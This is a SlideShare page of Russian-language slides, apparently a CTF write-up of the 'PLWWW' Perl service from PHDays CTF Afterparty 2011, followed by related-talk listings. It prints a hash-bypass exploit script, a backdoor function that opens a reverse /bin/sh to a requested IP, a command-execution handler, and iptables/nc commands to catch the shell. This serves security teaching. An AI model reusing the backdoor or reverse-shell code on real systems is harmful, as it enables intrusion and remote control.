SlideShare a Scribd company logo
1 of 14
PHDays CTF Afterparty 2011
PLWWW (#1, #3)
PLWWW и с чем его едят

    Сервис Монолит – зачатки исследовательской лаборатории.


    Работа с сервисом осуществляется по средствам протокола HTTP, но
    поддерживающего всего два метода работы – GET и ADMIN. Метод GET –
    служит только для получения информации, метод ADMIN – для доступа к
    панели управления сервисом. После запуска, сервис доступен на порту
    8080.


    Со стороны файловой системы – сервис представляет собой скрипт,
    разработанный на языке Perl. Код скрипта не обфусцирован, но его
    структура и используемые методы вводят в заблуждение при первом
    рассмотрении. Это сделано. Данный метод разработки скрипта
    объясняется со стороны легенды тем, что он был написан на скорую руку
    программистами различных галактических рас.
PLWWW и с чем его едят (192.168.X.2:8080)

    4 состояния


    #1 – ошибка при генерации хеша


    #2 – слабый пароль администратора (банально)


    #3 – бэкдор (странно, откуда он появился? )


    #4 – RCE (очевидная, но только


    на первый взгляд)
PLWWW #1 (192.168.X.2:8080)

    #1 – ошибка при генерации хеша
PLWWW #1 (192.168.X.2:8080)

      Понять принцип работы сервиса


      Функция tToSystem

 (Особенность данной функции состоит в том, что она заменяет все гласные латинского
      алфавита присутствующие в запросе на набор других символов (согласные латинского
      алфавита + спец символы))


      Метод GET – функция kh8ploegjst
PLWWW #1 - cryptFn (192.168.X.2:8080)

 kh8ploegjst -> cryptFn


              sub cryptFn (&@) {
                   my($tXt,@enc,$len)=@_;
                   my $jk;
                   my $encK="";
                   for ($jk=0;$jk le $len;$jk++) {
                         $encK .= $enc[$jk];
                   }
                   for ($jk=0;$jk <= $len;$jk++) {
                         $encK .= $enc[$jk];
                   }
                   my $value=md5_hex("$tXt$encK");
                   return $value;
              }
PLWWW #1- cryptFn (192.168.X.2:8080)

   НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_)))

            sub cryptFn (&@) {
                 my($tXt,@enc,$len)=@_;
                 my $jk;
                 my $encK="";
                 for ($jk=0;$jk le $len;$jk++) {
                       $encK .= $enc[$jk];
                 }
                 for ($jk=0;$jk <= $len;$jk++) {
                       $encK .= $enc[$jk];
                 }
                 my $value=md5_hex("$tXt$encK");
                 return $value;
            }

    НА ВЫХОДЕ : md5_hex(“record_1X");
PLWWW #1 - exploit (192.168.X.2:8080)

    Функция kh8ploegjst – достаточно подставить «0» как длину имени
    директории для выхода в корень.


    Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать
    первый символ секретного ключа.

                                        #!/usr/bin/perl
                                        use LWP::UserAgent;
                                        use Digest::MD5 'md5_hex';
                                        @crypto=(a..z);
                                        $fileName="YOURFLAG.TXT";
                                        $ua=LWP::UserAgent->new();
                                        foreach $sym (@crypto) {
                                                        $sym="d";
                                                        $value=md5_hex("$fileName$sym");
                                                        print "$sym $valuen";
                                                        $br=$ua->get("http://192.168.1.2:8080/0$value");
                                                        print $br->content;
                                                        if ($br->content=~/FLAG/) {
                                                                         print $br->content;
                                                                         exit();
                                                        }
                                        }
PLWWW #1 – FIX




                 ?
PLWWW #3 (192.168.X.2:8080)

       Смена состояния сервиса, помимо заплаток, приносит в код небольшой
       бекдор. Бекдор представляет собой необычное поведение сервиса при
       обращении к нему со специально сформированным запросом – сервис
       создает бекконнект на указанный в запросе IP адрес с предоставлением
       командной строки.




  sub pm_backton (&@) {
       use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/./gi;my $tm='/bin/sh';
       my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
       connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET");
       open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm);
  }
PLWWW #3 (192.168.X.2:8080)

     Метод ADMIN – функция kh8p1oegst


  sub kh8p1oegjst (&@) {
       my($query,$enc_key)=@_;
       my $status="";
       my $aPass="dfknmsdxz83945023489532";
       open(FE,"configuration");
       while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}}
       close(FE);
       if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) {
              my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query);
              if ($aPass eq $Fghj[1]) {
                    $status=&aPage;
              }
       } elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) {
              my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query);
              $status=`$Fghj[1]`;
       }
       if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);}
       return $status;
  }
PLWWW #3 – exploit (192.168.X.2:8080)


 iptables -t nat -A OUTPUT -p tcp --dport 10000:30000 -j REDIRECT --to-ports 31337
 nc –l –p 31337
PLWWW #3 – FIX




                 ?
Спасибо за внимание!

Вопросы?

ygoltsev@ptsecurity.ru
@ygoltsev

More Related Content

What's hot

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование LinuxAnthony Shoumikhin
 
PHP Tricks
PHP TricksPHP Tricks
PHP TricksBlackFan
 
Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Moscow.pm
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersPositive Hack Days
 
Алексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать LaravelАлексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать LaravelOleg Poludnenko
 
Пластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьПластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьMoscow.pm
 
Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Anatoly Sharifulin
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2Technopark
 
Отладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbgОтладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbgYuri Zhloba
 
Язык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистовЯзык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистовAndrew Shitov
 
Python
PythonPython
Pythonpelid
 
I tmozg js_school_jquery
I tmozg js_school_jqueryI tmozg js_school_jquery
I tmozg js_school_jqueryITmozg
 
Разработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PIРазработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PIIlya Chesnokov
 
Cобачники против кинофобов
Cобачники против кинофобовCобачники против кинофобов
Cобачники против кинофобовLidiya Myalkina
 

What's hot (19)

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
 
Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...
 
Nginx.pm
Nginx.pmNginx.pm
Nginx.pm
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappers
 
Алексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать LaravelАлексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать Laravel
 
Приручаем linux-консоль
Приручаем linux-консольПриручаем linux-консоль
Приручаем linux-консоль
 
Perl 5.10 и 5.12
Perl 5.10 и 5.12Perl 5.10 и 5.12
Perl 5.10 и 5.12
 
Почему Mojolicious?
Почему Mojolicious?Почему Mojolicious?
Почему Mojolicious?
 
Пластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьПластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать жить
 
Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
 
Отладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbgОтладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbg
 
Язык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистовЯзык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистов
 
Python
PythonPython
Python
 
I tmozg js_school_jquery
I tmozg js_school_jqueryI tmozg js_school_jquery
I tmozg js_school_jquery
 
Разработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PIРазработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PI
 
циклы
циклыциклы
циклы
 
Cобачники против кинофобов
Cобачники против кинофобовCобачники против кинофобов
Cобачники против кинофобов
 

Viewers also liked

Юрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис ColliderЮрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис ColliderPositive Hack Days
 
Глеб Грицай - Forensics
Глеб Грицай - ForensicsГлеб Грицай - Forensics
Глеб Грицай - ForensicsPositive Hack Days
 
Артем Чайкин - JAVA+GWT
Артем Чайкин - JAVA+GWTАртем Чайкин - JAVA+GWT
Артем Чайкин - JAVA+GWTPositive Hack Days
 
Александр Зайцев - Port Knocking, short notes
Александр Зайцев - Port Knocking, short notes Александр Зайцев - Port Knocking, short notes
Александр Зайцев - Port Knocking, short notes Positive Hack Days
 
Сергей Щербель - Атаки XML eXternal Entity
Сергей Щербель - Атаки XML eXternal EntityСергей Щербель - Атаки XML eXternal Entity
Сергей Щербель - Атаки XML eXternal EntityPositive Hack Days
 
PHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоDmitry Evteev
 

Viewers also liked (7)

Юрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис ColliderЮрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис Collider
 
Глеб Грицай - Forensics
Глеб Грицай - ForensicsГлеб Грицай - Forensics
Глеб Грицай - Forensics
 
Артем Чайкин - JAVA+GWT
Артем Чайкин - JAVA+GWTАртем Чайкин - JAVA+GWT
Артем Чайкин - JAVA+GWT
 
Александр Зайцев - Port Knocking, short notes
Александр Зайцев - Port Knocking, short notes Александр Зайцев - Port Knocking, short notes
Александр Зайцев - Port Knocking, short notes
 
Сергей Щербель - Атаки XML eXternal Entity
Сергей Щербель - Атаки XML eXternal EntityСергей Щербель - Атаки XML eXternal Entity
Сергей Щербель - Атаки XML eXternal Entity
 
PHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это было
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
 

Similar to Юрий Гольцев - Сервис PLWWW

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование LinuxAnthony Shoumikhin
 
Groovy On Grails
Groovy On GrailsGroovy On Grails
Groovy On Grailsguest32215a
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном кодеKolya Korobochkin
 
Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.DrupalCampDN
 
Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Stepan Tanasiychuk
 
Миша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPressМиша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPressRuslan Begaliev
 
Problems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source CodeProblems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source CodePositive Hack Days
 
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...Alexey Paznikov
 
Интеграция Яндекс Сервер
Интеграция Яндекс СерверИнтеграция Яндекс Сервер
Интеграция Яндекс СерверPVasili
 
Saint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demoSaint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demomegakott
 
Принципы проектирования S.O.L.I.D
Принципы проектирования S.O.L.I.DПринципы проектирования S.O.L.I.D
Принципы проектирования S.O.L.I.DAndreyGeonya
 

Similar to Юрий Гольцев - Сервис PLWWW (19)

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
Perl in practice
Perl in practicePerl in practice
Perl in practice
 
DSLs в Perl
DSLs в PerlDSLs в Perl
DSLs в Perl
 
Groovy On Grails
Groovy On GrailsGroovy On Grails
Groovy On Grails
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном коде
 
Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.
 
Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?
 
Миша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPressМиша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPress
 
Problems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source CodeProblems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source Code
 
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
 
Суперсилы Chrome developer tools
Суперсилы Chrome developer toolsСуперсилы Chrome developer tools
Суперсилы Chrome developer tools
 
Perl – жив?!
Perl – жив?!Perl – жив?!
Perl – жив?!
 
Bytecode
BytecodeBytecode
Bytecode
 
Интеграция Яндекс Сервер
Интеграция Яндекс СерверИнтеграция Яндекс Сервер
Интеграция Яндекс Сервер
 
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кодаSECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
 
Mojolicious
MojoliciousMojolicious
Mojolicious
 
бегун
бегунбегун
бегун
 
Saint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demoSaint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demo
 
Принципы проектирования S.O.L.I.D
Принципы проектирования S.O.L.I.DПринципы проектирования S.O.L.I.D
Принципы проектирования S.O.L.I.D
 

More from Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

More from Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Юрий Гольцев - Сервис PLWWW

  • 1. PHDays CTF Afterparty 2011 PLWWW (#1, #3)
  • 2. PLWWW и с чем его едят Сервис Монолит – зачатки исследовательской лаборатории. Работа с сервисом осуществляется по средствам протокола HTTP, но поддерживающего всего два метода работы – GET и ADMIN. Метод GET – служит только для получения информации, метод ADMIN – для доступа к панели управления сервисом. После запуска, сервис доступен на порту 8080. Со стороны файловой системы – сервис представляет собой скрипт, разработанный на языке Perl. Код скрипта не обфусцирован, но его структура и используемые методы вводят в заблуждение при первом рассмотрении. Это сделано. Данный метод разработки скрипта объясняется со стороны легенды тем, что он был написан на скорую руку программистами различных галактических рас.
  • 3. PLWWW и с чем его едят (192.168.X.2:8080) 4 состояния #1 – ошибка при генерации хеша #2 – слабый пароль администратора (банально) #3 – бэкдор (странно, откуда он появился? ) #4 – RCE (очевидная, но только на первый взгляд)
  • 4. PLWWW #1 (192.168.X.2:8080) #1 – ошибка при генерации хеша
  • 5. PLWWW #1 (192.168.X.2:8080) Понять принцип работы сервиса Функция tToSystem (Особенность данной функции состоит в том, что она заменяет все гласные латинского алфавита присутствующие в запросе на набор других символов (согласные латинского алфавита + спец символы)) Метод GET – функция kh8ploegjst
  • 6. PLWWW #1 - cryptFn (192.168.X.2:8080) kh8ploegjst -> cryptFn sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value; }
  • 7. PLWWW #1- cryptFn (192.168.X.2:8080) НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_))) sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value; } НА ВЫХОДЕ : md5_hex(“record_1X");
  • 8. PLWWW #1 - exploit (192.168.X.2:8080) Функция kh8ploegjst – достаточно подставить «0» как длину имени директории для выхода в корень. Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать первый символ секретного ключа. #!/usr/bin/perl use LWP::UserAgent; use Digest::MD5 'md5_hex'; @crypto=(a..z); $fileName="YOURFLAG.TXT"; $ua=LWP::UserAgent->new(); foreach $sym (@crypto) { $sym="d"; $value=md5_hex("$fileName$sym"); print "$sym $valuen"; $br=$ua->get("http://192.168.1.2:8080/0$value"); print $br->content; if ($br->content=~/FLAG/) { print $br->content; exit(); } }
  • 9. PLWWW #1 – FIX ?
  • 10. PLWWW #3 (192.168.X.2:8080) Смена состояния сервиса, помимо заплаток, приносит в код небольшой бекдор. Бекдор представляет собой необычное поведение сервиса при обращении к нему со специально сформированным запросом – сервис создает бекконнект на указанный в запросе IP адрес с предоставлением командной строки. sub pm_backton (&@) { use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/./gi;my $tm='/bin/sh'; my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm); }
  • 11. PLWWW #3 (192.168.X.2:8080) Метод ADMIN – функция kh8p1oegst sub kh8p1oegjst (&@) { my($query,$enc_key)=@_; my $status=""; my $aPass="dfknmsdxz83945023489532"; open(FE,"configuration"); while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}} close(FE); if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query); if ($aPass eq $Fghj[1]) { $status=&aPage; } } elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query); $status=`$Fghj[1]`; } if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);} return $status; }
  • 12. PLWWW #3 – exploit (192.168.X.2:8080) iptables -t nat -A OUTPUT -p tcp --dport 10000:30000 -j REDIRECT --to-ports 31337 nc –l –p 31337
  • 13. PLWWW #3 – FIX ?